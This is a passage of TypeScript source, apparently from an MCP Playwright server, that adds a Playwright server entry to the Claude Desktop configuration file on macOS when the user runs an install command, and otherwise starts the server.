893 |     console.log("Installing MCP Playwright Server for macOS...");
894 |     try {
895 |       const configFilePath = path.join(os.homedir(), 'Library', 'Application Support', 'Claude', 'claude_desktop_config.json');
896 |       
897 |       let config: any;
898 |       try {
899 |         // Try to read existing config file
900 |         const fileContent = await fs.readFile(configFilePath, 'utf-8');
901 |         config = JSON.parse(fileContent);
902 |       } catch (error) {
903 |         if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
904 |           // Create new config file with mcpServers object
905 |           config = { mcpServers: {} };
906 |           await fs.writeFile(configFilePath, JSON.stringify(config, null, 2), 'utf-8');
907 |           console.log("Created new Claude config file");
908 |         } else {
909 |           console.error("Error reading Claude config file:", error);
910 |           process.exit(1);
911 |         }
912 |       }
913 | 
914 |       // Ensure mcpServers exists
915 |       if (!config.mcpServers) {
916 |         config.mcpServers = {};
917 |       }
918 | 
919 |       // Update the playwright configuration
920 |       config.mcpServers.playwright = {
921 |         command: "npx",
922 |         args: ["-y", "@automatalabs/mcp-server-playwright"]
923 |       };
924 | 
925 |       // Write the updated config back to file
926 |       await fs.writeFile(configFilePath, JSON.stringify(config, null, 2), 'utf-8');
927 |       console.log("✓ Successfully updated Claude configuration");
928 |       
929 |     } catch (error) {
930 |       console.error("Error during installation:", error);
931 |       process.exit(1);
932 |     }
933 |   } else {
934 |     console.error("Unsupported platform:", platform);
935 |     process.exit(1);
936 |   }
937 | }
938 | 
939 | (async () => {
940 |   try {
941 |     // Parse args but continue with server if no command specified
942 |     await yargs(hideBin(process.argv))
943 |       .command('install', 'Install MCP-Server-Playwright dependencies', () => {}, async () => {
944 |         await checkPlatformAndInstall();
945 |         // Exit after successful installation
946 |         process.exit(0);
947 |       })
948 |       .strict()
949 |       .help()
950 |       .parse();
951 | 
952 |     // If we get here, no command was specified, so run the server
953 |     await runServer().catch(console.error);
954 |   } catch (error) {
955 |     console.error('Error:', error);
956 |     process.exit(1);
957 |   }
958 | })();
959 | 
```